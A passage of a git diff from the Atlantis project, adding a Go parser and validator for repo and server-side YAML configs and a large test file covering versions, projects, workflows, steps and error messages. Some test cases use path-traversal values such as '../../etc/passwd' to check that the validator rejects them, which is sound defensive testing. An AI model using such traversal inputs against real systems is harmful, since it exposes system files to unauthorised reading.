globalCfg.RepoConfigFile(repoID) + configFile := p.repoCfgPath(absRepoDir, repoConfigFile) + configData, err := os.ReadFile(configFile) // nolint: gosec + + if err != nil { + return valid.RepoCfg{}, fmt.Errorf("unable to read %s file: %w", repoConfigFile, err) + } + return p.ParseRepoCfgData(configData, globalCfg, repoID, branch) +} + +func (p *ParserValidator) ParseRepoCfgData(repoCfgData []byte, globalCfg valid.GlobalCfg, repoID string, branch string) (valid.RepoCfg, error) { + var rawConfig raw.RepoCfg + + decoder := yaml.NewDecoder(bytes.NewReader(repoCfgData)) + decoder.KnownFields(true) + + err := decoder.Decode(&rawConfig) + if err != nil && !errors.Is(err, io.EOF) { + return valid.RepoCfg{}, err + } + + // Set ErrorTag to yaml so it uses the YAML field names in error messages. + validation.ErrorTag = "yaml" + if err := rawConfig.Validate(); err != nil { + return valid.RepoCfg{}, err + } + + validConfig := rawConfig.ToValid() + + // Filter the repo config's projects based on pull request's branch. Only + // keep projects that either: + // + // - Have no branch regex defined at all (i.e. match all branches), or + // - Those that have branch regex matching the PR's base branch. + // + i := 0 + for _, p := range validConfig.Projects { + if branch == "" || p.BranchRegex == nil || p.BranchRegex.MatchString(branch) { + validConfig.Projects[i] = p + i++ + } + } + validConfig.Projects = validConfig.Projects[:i] + + // We do the project name validation after we get the valid config because + // we need the defaults of dir and workspace to be populated. + if err := p.validateProjectNames(validConfig); err != nil { + return valid.RepoCfg{}, err + } + if validConfig.Version == 2 { + // The only difference between v2 and v3 is how we parse custom run + // commands. + if err := p.applyLegacyShellParsing(&validConfig); err != nil { + return validConfig, err + } + } + + err = globalCfg.ValidateRepoCfg(validConfig, repoID) + return validConfig, err +} + +// ParseGlobalCfg returns the parsed and validated global repo config file at +// configFile. defaultCfg will be merged into the parsed config. +// If there is no file at configFile it will return an error. +func (p *ParserValidator) ParseGlobalCfg(configFile string, defaultCfg valid.GlobalCfg) (valid.GlobalCfg, error) { + configData, err := os.ReadFile(configFile) // nolint: gosec + if err != nil { + return valid.GlobalCfg{}, fmt.Errorf("unable to read %s file: %w", configFile, err) + } + if len(configData) == 0 { + return valid.GlobalCfg{}, fmt.Errorf("file %s was empty", configFile) + } + + var rawCfg raw.GlobalCfg + + decoder := yaml.NewDecoder(bytes.NewReader(configData)) + decoder.KnownFields(true) + + err = decoder.Decode(&rawCfg) + if err != nil && !errors.Is(err, io.EOF) { + return valid.GlobalCfg{}, err + } + + return p.validateRawGlobalCfg(rawCfg, defaultCfg, "yaml") +} + +// ParseGlobalCfgJSON parses a json string cfgJSON into global config. +func (p *ParserValidator) ParseGlobalCfgJSON(cfgJSON string, defaultCfg valid.GlobalCfg) (valid.GlobalCfg, error) { + var rawCfg raw.GlobalCfg + err := json.Unmarshal([]byte(cfgJSON), &rawCfg) + if err != nil { + return valid.GlobalCfg{}, err + } + return p.validateRawGlobalCfg(rawCfg, defaultCfg, "json") +} + +func (p *ParserValidator) validateRawGlobalCfg(rawCfg raw.GlobalCfg, defaultCfg valid.GlobalCfg, errTag string) (valid.GlobalCfg, error) { + // Setting ErrorTag means our errors will use the field names defined in + // the struct tags for yaml/json. + validation.ErrorTag = errTag + if err := rawCfg.Validate(); err != nil { + return valid.GlobalCfg{}, err + } + + validCfg := rawCfg.ToValid(defaultCfg) + return validCfg, nil +} + +func (p *ParserValidator) repoCfgPath(repoDir, cfgFilename string) string { + return filepath.Join(repoDir, cfgFilename) +} + +func (p *ParserValidator) validateProjectNames(config valid.RepoCfg) error { + // First, validate that all names are unique. + seen := make(map[string]bool) + for _, project := range config.Projects { + if project.Name != nil { + name := *project.Name + exists := seen[name] + if exists { + return fmt.Errorf("found two or more projects with name %q; project names must be unique", name) + } + seen[name] = true + } + } + + // Next, validate that all dir/workspace combos are named. + // This map's keys will be 'dir/workspace' and the values are the names for + // that project. + dirWorkspaceToNames := make(map[string][]string) + for _, project := range config.Projects { + key := fmt.Sprintf("%s/%s", project.Dir, project.Workspace) + names := dirWorkspaceToNames[key] + + // If there is already a project with this dir/workspace then this + // project must have a name. + if len(names) > 0 && project.Name == nil { + return fmt.Errorf("there are two or more projects with dir: %q workspace: %q that are not all named; they must have a 'name' key so they can be targeted for apply's separately", project.Dir, project.Workspace) + } + var name string + if project.Name != nil { + name = *project.Name + } + dirWorkspaceToNames[key] = append(dirWorkspaceToNames[key], name) + } + + return nil +} + +// applyLegacyShellParsing changes any custom run commands in cfg to use the old +// parsing method with shlex.Split(). +func (p *ParserValidator) applyLegacyShellParsing(cfg *valid.RepoCfg) error { + legacyParseF := func(s *valid.Step) error { + if s.StepName == "run" { + split, err := shlex.Split(s.RunCommand) + if err != nil { + return fmt.Errorf("unable to parse %q: %w", s.RunCommand, err) + } + s.RunCommand = strings.Join(split, " ") + } + return nil + } + + for k := range cfg.Workflows { + w := cfg.Workflows[k] + for i := range w.Plan.Steps { + s := &w.Plan.Steps[i] + if err := legacyParseF(s); err != nil { + return err + } + } + for i := range w.Apply.Steps { + s := &w.Apply.Steps[i] + if err := legacyParseF(s); err != nil { + return err + } + } + cfg.Workflows[k] = w + } + return nil +} diff --git a/server/core/config/parser_validator_test.go b/server/core/config/parser_validator_test.go new file mode 100644 index 0000000000..abe6f98933 --- /dev/null +++ b/server/core/config/parser_validator_test.go @@ -0,0 +1,2006 @@ +package config_test + +import ( + "errors" + "fmt" + "io/fs" + "os" + "path/filepath" + "regexp" + "strings" + "testing" + + "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/config" + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" + . "github.com/runatlantis/atlantis/testing" +) + +var globalCfgArgs = valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, +} + +var globalCfg = valid.NewGlobalCfgFromArgs(globalCfgArgs) + +func TestHasRepoCfg_DirDoesNotExist(t *testing.T) { + r := config.ParserValidator{} + exists, err := r.HasRepoCfg("/not/exist", "unused.yaml") + Ok(t, err) + Equals(t, false, exists) +} + +func TestHasRepoCfg_FileDoesNotExist(t *testing.T) { + tmpDir := t.TempDir() + r := config.ParserValidator{} + exists, err := r.HasRepoCfg(tmpDir, "not-exist.yaml") + Ok(t, err) + Equals(t, false, exists) +} + +func TestHasRepoCfg_InvalidFileExtension(t *testing.T) { + tmpDir := t.TempDir() + repoConfigFile := "atlantis.yml" + _, err := os.Create(filepath.Join(tmpDir, repoConfigFile)) + Ok(t, err) + + r := config.ParserValidator{} + _, err = r.HasRepoCfg(tmpDir, repoConfigFile) + ErrContains(t, "found \"atlantis.yml\" as config file; rename using the .yaml extension", err) +} + +func TestParseRepoCfg_DirDoesNotExist(t *testing.T) { + r := config.ParserValidator{} + _, err := r.ParseRepoCfg("/not/exist", globalCfg, "", "") + Assert(t, errors.Is(err, fs.ErrNotExist), "exp not exist err") +} + +func TestParseRepoCfg_FileDoesNotExist(t *testing.T) { + tmpDir := t.TempDir() + r := config.ParserValidator{} + _, err := r.ParseRepoCfg(tmpDir, globalCfg, "", "") + Assert(t, errors.Is(err, fs.ErrNotExist), "exp not exist err") +} + +func TestParseRepoCfg_BadPermissions(t *testing.T) { + tmpDir := t.TempDir() + err := os.WriteFile(filepath.Join(tmpDir, "atlantis.yaml"), nil, 0000) + Ok(t, err) + + r := config.ParserValidator{} + _, err = r.ParseRepoCfg(tmpDir, globalCfg, "", "") + ErrContains(t, "unable to read atlantis.yaml file: ", err) +} + +// Test both ParseRepoCfg and ParseGlobalCfg when given in valid YAML. +// We only have a few cases here because we assume the YAML library to be +// well tested. See https://github.com/go-yaml/yaml/blob/v2/decode_test.go#L810. +func TestParseCfgs_InvalidYAML(t *testing.T) { + cases := []struct { + description string + input string + expErr string + }{ + { + "random characters", + "slkjds", + "yaml: unmarshal errors:\n line 1: cannot unmarshal !!str `slkjds` into", + }, + { + "just a colon", + ":", + "yaml: did not find expected key", + }, + } + + tmpDir := t.TempDir() + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + confPath := filepath.Join(tmpDir, "atlantis.yaml") + err := os.WriteFile(confPath, []byte(c.input), 0600) + Ok(t, err) + r := config.ParserValidator{} + _, err = r.ParseRepoCfg(tmpDir, globalCfg, "", "") + ErrContains(t, c.expErr, err) + globalCfgArgs := valid.GlobalCfgArgs{} + _, err = r.ParseGlobalCfg(confPath, valid.NewGlobalCfgFromArgs(globalCfgArgs)) + ErrContains(t, c.expErr, err) + }) + } +} + +func TestParseRepoCfg(t *testing.T) { + tfVersion, _ := version.NewVersion("v0.11.0") + cases := []struct { + description string + input string + expErr string + exp valid.RepoCfg + }{ + // Version key. + { + description: "no version", + input: ` +projects: +- dir: "." +`, + expErr: "version: is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html.", + }, + { + description: "unsupported version", + input: ` +version: 0 +projects: +- dir: "." +`, + expErr: "version: only versions 2 and 3 are supported.", + }, + { + description: "empty version", + input: ` +version: +projects: +- dir: "." +`, + expErr: "version: is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html.", + }, + { + description: "version 2", + input: ` +version: 2 +workflows: + custom: + plan: + steps: + - run: old 'shell parsing' +`, + exp: valid.RepoCfg{ + Version: 2, + Workflows: map[string]valid.Workflow{ + "custom": { + Name: "custom", + Apply: valid.DefaultApplyStage, + PolicyCheck: valid.DefaultPolicyCheckStage, + Plan: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "old shell parsing", + }, + }, + }, + Import: valid.DefaultImportStage, + StateRm: valid.DefaultStateRmStage, + }, + }, + }, + }, + + // Projects key. + { + description: "empty projects list", + input: ` +version: 3 +projects:`, + exp: valid.RepoCfg{ + Version: 3, + Projects: nil, + Workflows: map[string]valid.Workflow{}, + }, + }, + { + description: "project dir not set", + input: ` +version: 3 +projects: +- {}`, + expErr: "projects: (0: (dir: cannot be blank.).).", + }, + { + description: "project dir set", + input: ` +version: 3 +projects: +- dir: .`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + WorkflowName: nil, + TerraformVersion: nil, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + ApplyRequirements: nil, + }, + }, + Workflows: map[string]valid.Workflow{}, + }, + }, + { + description: "autoplan should be enabled by default", + input: ` +version: 3 +projects: +- dir: "." +`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + Workflows: make(map[string]valid.Workflow), + }, + }, + { + description: "autoplan should be enabled if only when_modified set", + input: ` +version: 3 +projects: +- dir: "." + autoplan: + when_modified: ["**/*.tf*"] +`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: []string{"**/*.tf*"}, + Enabled: true, + }, + }, + }, + Workflows: make(map[string]valid.Workflow), + }, + }, + { + description: "if workflows not defined there are none", + input: ` +version: 3 +projects: +- dir: "." +`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + Workflows: make(map[string]valid.Workflow), + }, + }, + { + description: "if workflows key set but with no workflows there are none", + input: ` +version: 3 +projects: +- dir: "." +workflows: ~ +`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + Workflows: make(map[string]valid.Workflow), + }, + }, + { + description: "if a plan or apply explicitly defines an empty steps key then it gets the defaults", + input: ` +version: 3 +projects: +- dir: "." +workflows: + default: + plan: + steps: + apply: + steps: +`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + Workflows: map[string]valid.Workflow{ + "default": defaultWorkflow("default"), + }, + }, + }, + { + description: "project fields set except autoplan", + input: ` +version: 3 +projects: +- dir: . + workspace: myworkspace + terraform_version: v0.11.0 + apply_requirements: [approved] + workflow: myworkflow +workflows: + myworkflow: ~`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "myworkspace", + WorkflowName: String("myworkflow"), + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + ApplyRequirements: []string{"approved"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "myworkflow": defaultWorkflow("myworkflow"), + }, + }, + }, + { + description: "project field with autoplan", + input: ` +version: 3 +projects: +- dir: . + workspace: myworkspace + terraform_version: v0.11.0 + apply_requirements: [approved] + workflow: myworkflow + autoplan: + enabled: false +workflows: + myworkflow: ~`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "myworkspace", + WorkflowName: String("myworkflow"), + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"approved"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "myworkflow": defaultWorkflow("myworkflow"), + }, + }, + }, + { + description: "project field with mergeable apply requirement", + input: ` +version: 3 +projects: +- dir: . + workspace: myworkspace + terraform_version: v0.11.0 + apply_requirements: [mergeable] + workflow: myworkflow + autoplan: + enabled: false +workflows: + myworkflow: ~`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "myworkspace", + WorkflowName: String("myworkflow"), + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"mergeable"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "myworkflow": defaultWorkflow("myworkflow"), + }, + }, + }, + { + description: "project field with undiverged apply requirement", + input: ` +version: 3 +projects: +- dir: . + workspace: myworkspace + terraform_version: v0.11.0 + apply_requirements: [undiverged] + workflow: myworkflow + autoplan: + enabled: false +workflows: + myworkflow: ~`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "myworkspace", + WorkflowName: String("myworkflow"), + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"undiverged"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "myworkflow": defaultWorkflow("myworkflow"), + }, + }, + }, + { + description: "project field with mergeable and approved apply requirements", + input: ` +version: 3 +projects: +- dir: . + workspace: myworkspace + terraform_version: v0.11.0 + apply_requirements: [mergeable, approved] + workflow: myworkflow + autoplan: + enabled: false +workflows: + myworkflow: ~`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "myworkspace", + WorkflowName: String("myworkflow"), + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"mergeable", "approved"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "myworkflow": defaultWorkflow("myworkflow"), + }, + }, + }, + { + description: "project field with undiverged and approved apply requirements", + input: ` +version: 3 +projects: +- dir: . + workspace: myworkspace + terraform_version: v0.11.0 + apply_requirements: [undiverged, approved] + workflow: myworkflow + autoplan: + enabled: false +workflows: + myworkflow: ~`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "myworkspace", + WorkflowName: String("myworkflow"), + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"undiverged", "approved"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "myworkflow": defaultWorkflow("myworkflow"), + }, + }, + }, + { + description: "project field with undiverged and mergeable apply requirements", + input: ` +version: 3 +projects: +- dir: . + workspace: myworkspace + terraform_version: v0.11.0 + apply_requirements: [undiverged, mergeable] + workflow: myworkflow + autoplan: + enabled: false +workflows: + myworkflow: ~`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "myworkspace", + WorkflowName: String("myworkflow"), + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"undiverged", "mergeable"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "myworkflow": defaultWorkflow("myworkflow"), + }, + }, + }, + { + description: "project field with undiverged, mergeable and approved apply requirements", + input: ` +version: 3 +projects: +- dir: . + workspace: myworkspace + terraform_version: v0.11.0 + apply_requirements: [undiverged, mergeable, approved] + workflow: myworkflow + autoplan: + enabled: false +workflows: + myworkflow: ~`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "myworkspace", + WorkflowName: String("myworkflow"), + TerraformVersion: tfVersion, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: false, + }, + ApplyRequirements: []string{"undiverged", "mergeable", "approved"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "myworkflow": defaultWorkflow("myworkflow"), + }, + }, + }, + { + description: "project field with terraform_distribution set to opentofu", + input: ` +version: 3 +projects: +- dir: . + workspace: myworkspace + terraform_distribution: opentofu +`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "myworkspace", + TerraformDistribution: String("opentofu"), + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + Workflows: make(map[string]valid.Workflow), + }, + }, + { + description: "project dir with ..", + input: ` +version: 3 +projects: +- dir: ..`, + expErr: "projects: (0: (dir: cannot contain '..'.).).", + }, + + // Project must have dir set. + { + description: "project with no config", + input: ` +version: 3 +projects: +- {}`, + expErr: "projects: (0: (dir: cannot be blank.).).", + }, + { + description: "project with no config at index 1", + input: ` +version: 3 +projects: +- dir: "." +- {}`, + expErr: "projects: (1: (dir: cannot be blank.).).", + }, + { + description: "project with unknown key", + input: ` +version: 3 +projects: +- unknown: value`, + expErr: "yaml: unmarshal errors:\n line 4: field unknown not found in type raw.Project", + }, + { + description: "referencing workflow that doesn't exist", + input: ` +version: 3 +projects: +- dir: . + workflow: undefined`, + expErr: "workflow \"undefined\" is not defined anywhere", + }, + { + description: "two projects with same dir/workspace without names", + input: ` +version: 3 +projects: +- dir: . + workspace: workspace +- dir: . + workspace: workspace`, + expErr: "there are two or more projects with dir: \".\" workspace: \"workspace\" that are not all named; they must have a 'name' key so they can be targeted for apply's separately", + }, + { + description: "two projects with same dir/workspace only one with name", + input: ` +version: 3 +projects: +- name: myname + dir: . + workspace: workspace +- dir: . + workspace: workspace`, + expErr: "there are two or more projects with dir: \".\" workspace: \"workspace\" that are not all named; they must have a 'name' key so they can be targeted for apply's separately", + }, + { + description: "two projects with same dir/workspace both with same name", + input: ` +version: 3 +projects: +- name: myname + dir: . + workspace: workspace +- name: myname + dir: . + workspace: workspace`, + expErr: "found two or more projects with name \"myname\"; project names must be unique", + }, + { + description: "two projects with same dir/workspace with different names", + input: ` +version: 3 +projects: +- name: myname + dir: . + workspace: workspace +- name: myname2 + dir: . + workspace: workspace`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Name: String("myname"), + Dir: ".", + Workspace: "workspace", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + { + Name: String("myname2"), + Dir: ".", + Workspace: "workspace", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + Workflows: map[string]valid.Workflow{}, + }, + }, + { + description: "if steps are set then we parse them properly", + input: ` +version: 3 +projects: +- dir: "." +workflows: + default: + plan: + steps: + - init + - plan + policy_check: + steps: + - init + - policy_check + apply: + steps: + - plan # NOTE: we don't validate if they make sense + - apply + import: + steps: + - import + state_rm: + steps: + - state_rm +`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + Workflows: map[string]valid.Workflow{ + "default": { + Name: "default", + Plan: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "init", + }, + { + StepName: "plan", + }, + }, + }, + PolicyCheck: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "init", + }, + { + StepName: "policy_check", + }, + }, + }, + Apply: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "plan", + }, + { + StepName: "apply", + }, + }, + }, + Import: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "import", + }, + }, + }, + StateRm: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "state_rm", + }, + }, + }, + }, + }, + }, + }, + { + description: "we parse extra_args for the steps", + input: ` +version: 3 +projects: +- dir: "." +workflows: + default: + plan: + steps: + - init: + extra_args: [] + - plan: + extra_args: + - arg1 + - arg2 + policy_check: + steps: + - policy_check: + extra_args: + - arg1 + apply: + steps: + - plan: + extra_args: [a, b] + - apply: + extra_args: ["a", "b"] + import: + steps: + - import: + extra_args: ["a", "b"] + state_rm: + steps: + - state_rm: + extra_args: ["a", "b"] +`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + Workflows: map[string]valid.Workflow{ + "default": { + Name: "default", + Plan: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "init", + ExtraArgs: []string{}, + }, + { + StepName: "plan", + ExtraArgs: []string{"arg1", "arg2"}, + }, + }, + }, + PolicyCheck: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "policy_check", + ExtraArgs: []string{"arg1"}, + }, + }, + }, + Apply: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "plan", + ExtraArgs: []string{"a", "b"}, + }, + { + StepName: "apply", + ExtraArgs: []string{"a", "b"}, + }, + }, + }, + Import: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "import", + ExtraArgs: []string{"a", "b"}, + }, + }, + }, + StateRm: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "state_rm", + ExtraArgs: []string{"a", "b"}, + }, + }, + }, + }, + }, + }, + }, + { + description: "custom steps are parsed", + input: ` +version: 3 +projects: +- dir: "." +workflows: + default: + plan: + steps: + - run: "echo \"plan hi\"" + policy_check: + steps: + - run: "echo \"opa hi\"" + apply: + steps: + - run: echo apply "arg 2" + import: + steps: + - run: echo apply "arg 3" + state_rm: + steps: + - run: echo apply "arg 4" +`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + Workflows: map[string]valid.Workflow{ + "default": { + Name: "default", + Plan: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "echo \"plan hi\"", + }, + }, + }, + PolicyCheck: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "echo \"opa hi\"", + }, + }, + }, + Apply: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "echo apply \"arg 2\"", + }, + }, + }, + Import: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "echo apply \"arg 3\"", + }, + }, + }, + StateRm: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "echo apply \"arg 4\"", + }, + }, + }, + }, + }, + }, + }, + { + description: "env steps", + input: ` +version: 3 +projects: +- dir: "." +workflows: + default: + plan: + steps: + - env: + name: env_name + value: env_value + policy_check: + steps: + - env: + name: env_name + value: env_value + apply: + steps: + - env: + name: env_name + command: command and args + import: + steps: + - env: + name: env_name + value: env_value + state_rm: + steps: + - env: + name: env_name + value: env_value +`, + exp: valid.RepoCfg{ + Version: 3, + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + Workflows: map[string]valid.Workflow{ + "default": { + Name: "default", + Plan: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "env", + EnvVarName: "env_name", + EnvVarValue: "env_value", + }, + }, + }, + PolicyCheck: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "env", + EnvVarName: "env_name", + EnvVarValue: "env_value", + }, + }, + }, + Apply: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "env", + EnvVarName: "env_name", + RunCommand: "command and args", + }, + }, + }, + Import: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "env", + EnvVarName: "env_name", + EnvVarValue: "env_value", + }, + }, + }, + StateRm: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "env", + EnvVarName: "env_name", + EnvVarValue: "env_value", + }, + }, + }, + }, + }, + }, + }, + } + + tmpDir := t.TempDir() + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + err := os.WriteFile(filepath.Join(tmpDir, "atlantis.yaml"), []byte(c.input), 0600) + Ok(t, err) + + r := config.ParserValidator{} + act, err := r.ParseRepoCfg(tmpDir, globalCfg, "", "") + if c.expErr != "" { + ErrEquals(t, c.expErr, err) + return + } + Ok(t, err) + Equals(t, c.exp, act) + }) + } +} + +// Test that we fail if the global validation fails. We test global validation +// more completely in GlobalCfg.ValidateRepoCfg(). +func TestParseRepoCfg_GlobalValidation(t *testing.T) { + tmpDir := t.TempDir() + + repoCfg := ` +version: 3 +projects: +- dir: . + workflow: custom +workflows: + custom: ~` + err := os.WriteFile(filepath.Join(tmpDir, "atlantis.yaml"), []byte(repoCfg), 0600) + Ok(t, err) + + r := config.ParserValidator{} + globalCfgArgs := valid.GlobalCfgArgs{} + + _, err = r.ParseRepoCfg(tmpDir, valid.NewGlobalCfgFromArgs(globalCfgArgs), "repo_id", "branch") + ErrEquals(t, "repo config not allowed to set 'workflow' key: server-side config needs 'allowed_overrides: [workflow]'", err) +} + +func TestParseGlobalCfg_NotExist(t *testing.T) { + r := config.ParserValidator{} + globalCfgArgs := valid.GlobalCfgArgs{} + _, err := r.ParseGlobalCfg("/not/exist", valid.NewGlobalCfgFromArgs(globalCfgArgs)) + ErrEquals(t, "unable to read /not/exist file: open /not/exist: no such file or directory", err) +} + +func TestParseGlobalCfg(t *testing.T) { + globalCfgArgs := valid.GlobalCfgArgs{} + + defaultCfg := valid.NewGlobalCfgFromArgs(globalCfgArgs) + preWorkflowHook := &valid.WorkflowHook{ + StepName: "run", + RunCommand: "custom workflow command", + } + preWorkflowHooks := []*valid.WorkflowHook{preWorkflowHook} + + postWorkflowHook := &valid.WorkflowHook{ + StepName: "run", + RunCommand: "custom workflow command", + } + postWorkflowHooks := []*valid.WorkflowHook{postWorkflowHook} + + customWorkflow1 := valid.Workflow{ + Name: "custom1", + Plan: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "custom command", + }, + { + StepName: "init", + ExtraArgs: []string{"extra", "args"}, + }, + { + StepName: "plan", + }, + }, + }, + PolicyCheck: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "custom command", + }, + { + StepName: "plan", + ExtraArgs: []string{"extra", "args"}, + }, + { + StepName: "policy_check", + }, + }, + }, + Apply: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "custom command", + }, + { + StepName: "apply", + }, + }, + }, + Import: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "custom command", + }, + { + StepName: "import", + }, + }, + }, + StateRm: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "run", + RunCommand: "custom command", + }, + { + StepName: "state_rm", + }, + }, + }, + } + + conftestVersion, _ := version.NewVersion("v1.0.0") + + cases := map[string]struct { + input string + expErr string + exp valid.GlobalCfg + }{ + "empty file": { + input: "", + expErr: "file was empty", + }, + "invalid fields": { + input: "invalid: key", + expErr: "yaml: unmarshal errors:\n line 1: field invalid not found in type raw.GlobalCfg", + }, + "no id specified": { + input: `repos: +- apply_requirements: []`, + expErr: "repos: (0: (id: cannot be blank.).).", + }, + "invalid id regex": { + input: `repos: +- id: /?/`, + expErr: "repos: (0: (id: parsing: /?/: error parsing regexp: missing argument to repetition operator: `?`.).).", + }, + "invalid branch regex": { + input: `repos: +- id: /.*/ + branch: /?/`, + expErr: "repos: (0: (branch: parsing: /?/: error parsing regexp: missing argument to repetition operator: `?`.).).", + }, + "invalid repo_config_file which starts with a slash": { + input: `repos: +- id: /.*/ + repo_config_file: /etc/passwd`, + expErr: "repos: (0: (repo_config_file: must not starts with a slash '/'.).).", + }, + "invalid repo_config_file which contains parent directory path": { + input: `repos: +- id: /.*/ + repo_config_file: ../../etc/passwd`, + expErr: "repos: (0: (repo_config_file: must not contains parent directory path like '../'.).).", + }, + "workflow doesn't exist": { + input: `repos: +- id: /.*/ 